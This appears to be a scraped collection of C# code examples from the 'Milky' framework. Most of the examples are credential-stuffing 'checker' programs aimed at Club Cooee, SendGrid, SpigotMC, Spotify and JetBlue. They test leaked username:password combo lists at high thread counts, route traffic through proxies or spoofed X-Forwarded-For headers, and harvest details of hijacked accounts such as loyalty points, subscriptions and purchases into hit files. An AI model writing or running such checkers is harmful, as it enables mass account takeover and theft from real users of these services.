Esempio n. 1
0
        public void SubmitComboResult(string combo, ResultType resultType, CaptureDictionary captures = null, bool outputResult = true, string file = null, string directory = null)
        {
            _runInformations = RunInformations.GetOrNewInstance();
            _formatUtils     = FormatUtils.GetOrNewInstance();
            _fileUtils       = FileUtils.GetOrNewInstance();
            _consoleUtils    = ConsoleUtils.GetOrNewInstance();

            if (resultType != ResultType.Invalid)
            {
                Interlocked.Increment(ref _runInformations.hits);

                if (resultType == ResultType.Free)
                {
                    Interlocked.Increment(ref _runInformations.free);
                }

                if (outputResult)
                {
                    string output = _formatUtils.FormatOutput(combo, captures != null ? _formatUtils.CaptureDictionaryToString(captures) : null);

                    _fileUtils.WriteLine(output, $"{file ?? (resultType == ResultType.Free ? "Free" : "Hits")}.txt", directory ?? $"Results/{_runInformations.runStartFormattedDate}");

                    _consoleUtils.WriteLine(output, resultType == ResultType.Free ? ConsoleColor.Cyan : ConsoleColor.Green);
                }
            }

            Interlocked.Increment(ref _runInformations.ran);
        }
Esempio n. 2
0
        public string CaptureDictionaryToString(CaptureDictionary captures)
        {
            string capture = null;

            foreach (var _capture in captures)
            {
                capture += $"{FormatCapture(_capture)}{_outputSettings.CapturesSeparator}";
            }

            if (capture != null)
            {
                capture = capture.Remove(capture.Length - _outputSettings.CapturesSeparator.Length);
            }

            return(capture);
        }
Esempio n. 3
0
        static void Main()
        {
            var Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("Club Cooee Checker", "1.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            Milky.FileUtils.LoadCombos();

            var threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.ConsoleSettings.SetTitleStyle(true, true);

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                var splittedCombo = combo.Split(':');

                var resultType = ResultType.Invalid;
                var captures   = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    var login    = splittedCombo[0];
                    var password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        var request = new MilkyRequest();

                        try
                        {
                            request.AddHeader("Content-Type", "application/x-www-form-urlencoded");

                            var response = Milky.RequestUtils.Execute(request,
                                                                      HttpMethod.POST, "https://en.clubcooee.com/api3/auth_login",
                                                                      $"username={Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}");
                            var source = response.ToString();
                            var json   = JsonConvert.DeserializeObject <dynamic>(source);

                            if (!(bool)json.error)
                            {
                                var user = json.msg.userdata.auth;

                                if (login.Contains("@"))
                                {
                                    captures.Add("Username", (string)user.name);
                                }
                                captures.Add("Cash", (string)user.credits);
                                captures.Add("Level", ((int)user.xp_level).ToString());
                                captures.Add("VIP", ((bool)user.premium).ToString());
                                captures.Add("Confirmed Email", ((bool)user.email_confirmed).ToString());

                                resultType = (bool)user.premium ? ResultType.Hit : ResultType.Free;
                            }

                            break;
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Esempio n. 4
0
        static void Main()
        {
            var Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("SendGrid Checker", "1.1.1", "Laiteux", "https://pastebin.com/raw/QW82zeqi");
            Milky.ConsoleSettings.SetTitleStyle(true, true);

            var threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.RunSettings.proxyProtocol = Milky.UserUtils.AskChoice("Proxy Protocol", new string[] { "HTTP", "SOCKS4", "SOCKS5" });

            Milky.FileUtils.LoadCombos("Username:Password");
            Milky.FileUtils.LoadProxies(Milky.RunSettings.proxyProtocol);

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                var splittedCombo = combo.Split(':');

                var resultType = ResultType.Unknown;
                var captures   = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    var login    = splittedCombo[0];
                    var password = splittedCombo[1];

                    while (resultType == ResultType.Unknown)
                    {
                        var request = Milky.RequestUtils.SetProxy(new MilkyRequest());

                        try
                        {
                            request.AddHeader("Content-Type", "application/json");

                            var publicTokensResponse = Milky.RequestUtils.Execute(request,
                                                                                  HttpMethod.POST, "https://api.sendgrid.com/v3/public/tokens",
                                                                                  "{\"username\":\"" + Uri.EscapeDataString(login) + "\",\"password\":\"" + Uri.EscapeDataString(password) + "\"}");
                            var publicTokensSource = publicTokensResponse.ToString();
                            var publicTokensJSON   = JsonConvert.DeserializeObject <dynamic>(publicTokensSource);

                            if (publicTokensJSON.token != null)
                            {
                                request.Authorization = $"token {publicTokensJSON.token}";

                                var userStatusResponse = Milky.RequestUtils.Execute(request, HttpMethod.GET, "https://api.sendgrid.com/v3/user/status");
                                var userStatusSource   = userStatusResponse.ToString();
                                var userStatusJSON     = JsonConvert.DeserializeObject <dynamic>(userStatusSource);

                                if (userStatusJSON.status == "active")
                                {
                                    var userPackageResponse = Milky.RequestUtils.Execute(request, HttpMethod.GET, "https://api.sendgrid.com/v3/user/package");
                                    var userPackageSource   = userPackageResponse.ToString();
                                    var userPackageJSON     = JsonConvert.DeserializeObject <dynamic>(userPackageSource);

                                    captures.Add("Package", (string)userPackageJSON.name);

                                    resultType = userPackageJSON.plan_type == "free" ? ResultType.Free : ResultType.Hit;
                                }
                                else
                                {
                                    resultType = ResultType.Invalid;
                                }
                            }
                            else if (publicTokensSource.Contains("access forbidden") || publicTokensSource.Contains("required") || publicTokensSource.Contains("bad request"))
                            {
                                resultType = ResultType.Invalid;
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Esempio n. 5
0
        static void Main(string[] args)
        {
            var Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("SendGrid Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            Milky.FileUtils.LoadCombos("Username:Password");
            Milky.FileUtils.LoadProxies();

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.ConsoleSettings.SetTitleStyle(true, true);

            Milky.RunManager.StartRun();

            var random = new Random();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                var splittedCombo = combo.Split(':');

                var resultType = ResultType.Invalid;
                var captures   = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    var login    = splittedCombo[0];
                    var password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        var request = Milky.RequestUtils.SetProxy(new MilkyRequest()
                        {
                            Cookies = new CookieDictionary()
                        });

                        try
                        {
                            request.AddHeader("Content-Type", "application/json");

                            var response1 = Milky.RequestUtils.Execute(request,
                                                                       HttpMethod.POST, "https://api.sendgrid.com/v3/public/tokens",
                                                                       "{\"username\":\"" + login + "\",\"password\":\"" + password + "\"}");
                            var source1 = response1.ToString();
                            var json1   = JsonConvert.DeserializeObject <dynamic>(source1);

                            if (json1.token != null)
                            {
                                request.AddHeader("Authorization", "token " + json1.token);

                                var response2 = Milky.RequestUtils.Execute(request,
                                                                           HttpMethod.GET,
                                                                           "https://api.sendgrid.com/v3/user/package");
                                var source2 = response2.ToString();
                                var json2   = JsonConvert.DeserializeObject <dynamic>(source2);

                                captures.Add("Package", (string)json2.name);

                                resultType = json2.plan_type == "free" ? ResultType.Free : ResultType.Hit;
                            }
                            else if (source1.Contains("authorization required") || source1.Contains("access forbidden") || source1.Contains("bad request") || source1.Contains("required"))
                            {
                                break;
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Esempio n. 6
0
        static void Main()
        {
            var Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("SpigotMC Checker", "1.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            var threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.RunSettings.proxyProtocol = Milky.UserUtils.AskChoice("Proxy Protocol", new string[] { "HTTP", "SOCKS4", "SOCKS5" });

            Milky.FileUtils.LoadCombos();
            Milky.FileUtils.LoadProxies(Milky.RunSettings.proxyProtocol);

            Milky.CustomStatistics.AddCustomStatistic("Total Purchased Resources");

            Milky.ConsoleSettings.idleTitleFormat    = "%program.name% %program.version% by %program.author%";
            Milky.ConsoleSettings.runningTitleFormat =
                "%program.name% %program.version% by %program.author% – Running | " +
                "Ran: %run.ran% (%run.ran.percentage%) – Remaining: %run.remaining% – Hits: %run.hits% (%run.hits.percentage%) – Free: %run.free% (%run.free.percentage%) – Resources: %custom.Total_Purchased_Resources% | " +
                "RPM: %statistics.rpm% – Elapsed: %statistics.elapsed% – Estimated: %statistics.estimated%";
            Milky.ConsoleSettings.finishedTitleFormat =
                "%program.name% %program.version% by %program.author% – Finished | " +
                "Ran: %run.ran% (%run.ran.percentage%) – Hits: %run.hits% (%run.hits.percentage%) – Free: %run.free% (%run.free.percentage%) – Resources: %custom.Total_Purchased_Resources% | " +
                "Elapsed: %statistics.elapsed%";

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                var splittedCombo = combo.Split(':');

                var resultType = ResultType.Unknown;
                var captures   = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    var login    = splittedCombo[0];
                    var password = splittedCombo[1];

                    while (resultType == ResultType.Unknown)
                    {
                        var request = Milky.RequestUtils.SetProxy(new MilkyRequest()
                        {
                            Cookies   = new CookieDictionary(),
                            UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
                        });

                        try
                        {
                            var indexResponse = Milky.RequestUtils.Execute(request, HttpMethod.GET, "https://www.spigotmc.org");

                            if (indexResponse.ContainsCookie("xf_session"))
                            {
                                while (resultType == ResultType.Unknown) // In case we get a proxy issue, it won't restart the whole process
                                {
                                    try
                                    {
                                        request.AddHeader("Content-Type", "application/x-www-form-urlencoded");

                                        var loginResponse = Milky.RequestUtils.Execute(request,
                                                                                       HttpMethod.POST, "https://www.spigotmc.org/login/login",
                                                                                       $"login={Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}");
                                        var loginSource = loginResponse.ToString();

                                        if (loginSource.Contains("Signed in as"))
                                        {
                                            while (resultType == ResultType.Unknown) // It would not be smart to make it login again, knowing the account works
                                            {
                                                try
                                                {
                                                    var purchasedResourcesResponse = Milky.RequestUtils.Execute(request, HttpMethod.GET, "https://www.spigotmc.org/resources/purchased");
                                                    var purchasedResourcesSource   = purchasedResourcesResponse.ToString();

                                                    if (purchasedResourcesSource.Contains("<h1>Purchased Resources</h1>"))
                                                    {
                                                        resultType = ResultType.Hit;

                                                        var purchasedResources = new Regex("<h3 class=\"title\">\\n<a href=\".*?\">(.*?)<").Matches(purchasedResourcesSource);
                                                        captures.Add($"Purchased Resources ({purchasedResources.Count})", string.Join(" / ", from Match purchasedResource in purchasedResources select purchasedResource.Groups[1].Value));

                                                        Milky.CustomStatistics.IncrementCustomStatistic("Total Purchased Resources", purchasedResources.Count);
                                                    }
                                                    else if (purchasedResourcesSource.Contains("You have not purchased any resources."))
                                                    {
                                                        resultType = ResultType.Free;
                                                    }
                                                }
                                                catch { }
                                            }
                                        }
                                        else if (
                                            loginSource.Contains("' could not be found.") ||
                                            loginSource.Contains("Incorrect password. Please try again.") ||
                                            loginSource.Contains("Two-Step Verification Required") ||
                                            loginSource.Contains("Your account has temporarily been locked due to failed login attempts."))
                                        {
                                            resultType = ResultType.Invalid;
                                        }
                                    }
                                    catch { }
                                }
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Esempio n. 7
0
        static void Main(string[] args)
        {
            MilkyManager Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("Spotify Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            Milky.FileUtils.LoadCombos();

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.ConsoleSettings.SetTitleStyle(true, true);

            Milky.RunManager.StartRun();

            Random random = new Random();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                string[] splittedCombo = combo.Split(':');

                ResultType resultType      = ResultType.Invalid;
                CaptureDictionary captures = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    string login    = splittedCombo[0];
                    string password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        string ip = $"{random.Next(1, 255)}.{random.Next(0, 255)}.{random.Next(0, 255)}.{random.Next(0, 255)}";

                        MilkyRequest request = new MilkyRequest()
                        {
                            Cookies = new CookieDictionary()
                        };

                        try
                        {
                            request.AddHeader("X-Forwarded-For", ip);

                            MilkyResponse response1 = Milky.RequestUtils.Execute(request,
                                                                                 HttpMethod.GET, "https://accounts.spotify.com/en/login");

                            if (response1.ContainsCookie("csrf_token"))
                            {
                                string csrf_token = response1.Cookies["csrf_token"];

                                request.AddHeader("X-Forwarded-For", ip);
                                request.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                                request.AddHeader("User-Agent", "Mozilla");

                                request.Cookies.Add("__bon", "MHwwfDB8MHwxfDF8MXwx");

                                string response2 = Milky.RequestUtils.Execute(request,
                                                                              HttpMethod.POST, "https://accounts.spotify.com/api/login",
                                                                              $"username={Uri.EscapeDataString(login)}&password={Uri.EscapeDataString(password)}&csrf_token={Uri.EscapeDataString(csrf_token)}").ToString();

                                if (response2.Contains("displayName"))
                                {
                                    request.AddHeader("X-Forwarded-For", ip);

                                    string response3 = Milky.RequestUtils.Execute(request,
                                                                                  HttpMethod.GET, "https://www.spotify.com/us/account/overview/").ToString();

                                    if (response3.Contains("<h1>Account overview</h1>"))
                                    {
                                        resultType = ResultType.Hit;

                                        string country      = new Regex("<p class=\"form-control-static\" id=\"card-profile-country\">([^<]*)").Match(response3).Groups[1].Value;
                                        string subscription = new Regex("<div class=\"well card subscription.*>(.*)</h3>").Match(response3).Groups[1].Value;
                                        bool familyOwner    = response3.Contains("btn-manage-familyplan");

                                        if (subscription == "Spotify Free")
                                        {
                                            resultType = ResultType.Free;
                                        }

                                        captures = new CaptureDictionary
                                        {
                                            { "Country", country },
                                            { "Subscription", subscription },
                                            { "Family Owner", familyOwner.ToString() }
                                        };

                                        break;
                                    }
                                    else
                                    {
                                        break;
                                    }
                                }
                                else if (response2.Contains("errorInvalidCredentials"))
                                {
                                    break;
                                }
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }
Esempio n. 8
0
        static void Main(string[] args)
        {
            MilkyManager Milky = new MilkyManager();

            Milky.ProgramManager.Initialize("JetBlue Checker", "1.0.0", "Laiteux", "https://pastebin.com/raw/QW82zeqi");

            int threads = Milky.UserUtils.AskInteger("Threads");

            Milky.RunSettings.threads = threads;
            ThreadPool.SetMinThreads(threads, threads);

            Milky.RunSettings.proxyProtocol = Milky.UserUtils.AskChoice("Proxy Protocol", new string[] { "HTTP", "SOCKS4", "SOCKS5" });

            Milky.ConsoleSettings.runningTitleFormat =
                $"%program.name% %program.version% by %program.author% – Running | " +
                $"Ran : %run.ran% (%run.ran.percentage%) – Remaining : %run.remaining% – Hits : %run.hits% (%run.hits.percentage%) – Total Points : %custom.Total_Points% | " +
                $"RPM : %statistics.rpm% – Elapsed : %statistics.elapsed% – Estimated : %statistics.estimated%";
            Milky.ConsoleSettings.finishedTitleFormat =
                $"%program.name% %program.version% by %program.author% – Finished | " +
                $"Ran : %run.ran% – Hits : %run.hits% (%run.hits.percentage%) – Total Points : %custom.Total_Points% | " +
                $"Elapsed : %statistics.elapsed%";

            Milky.FileUtils.LoadCombos("Email:Password");
            Milky.FileUtils.LoadProxies(Milky.RunSettings.proxyProtocol);

            Milky.CustomStatistics.AddCustomStatistic("Total Points");

            Milky.RunManager.StartRun();

            Parallel.ForEach(Milky.RunLists.combos, new ParallelOptions {
                MaxDegreeOfParallelism = Milky.RunSettings.threads
            }, combo =>
            {
                string[] splittedCombo = combo.Split(':');

                ResultType resultType      = ResultType.Invalid;
                CaptureDictionary captures = new CaptureDictionary();

                if (splittedCombo.Length == 2)
                {
                    string login    = splittedCombo[0];
                    string password = splittedCombo[1];

                    while (resultType == ResultType.Invalid)
                    {
                        MilkyRequest request = Milky.RequestUtils.SetProxy(new MilkyRequest());

                        try
                        {
                            request.AddHeader("Content-Type", "application/json");

                            string response = Milky.RequestUtils.Execute(request,
                                                                         HttpMethod.POST, "https://jbrest.jetblue.com/iam/login/",
                                                                         "{\"id\":\"" + login + "\",\"pwd\":\"" + password + "\"}").ToString();
                            dynamic json = JsonConvert.DeserializeObject(response);

                            if (response.Contains("{\"points\""))
                            {
                                int points = int.Parse((string)json.points);
                                Milky.CustomStatistics.IncrementCustomStatistic("Total Points", points);
                                captures.Add("Points", points.ToString());

                                resultType = points == 0 ? ResultType.Free : ResultType.Hit;
                            }
                            else if (response.Contains("JB_INVALID_CREDENTIALS") || response.Contains("{\"name\"") || response.Contains("{\"httpStatus\":\"424\""))
                            {
                                break;
                            }
                        }
                        catch { }

                        request.Dispose();
                    }
                }

                Milky.RunManager.SubmitComboResult(combo, resultType, captures);
            });

            Milky.RunManager.FinishRun();

            Thread.Sleep(-1);
        }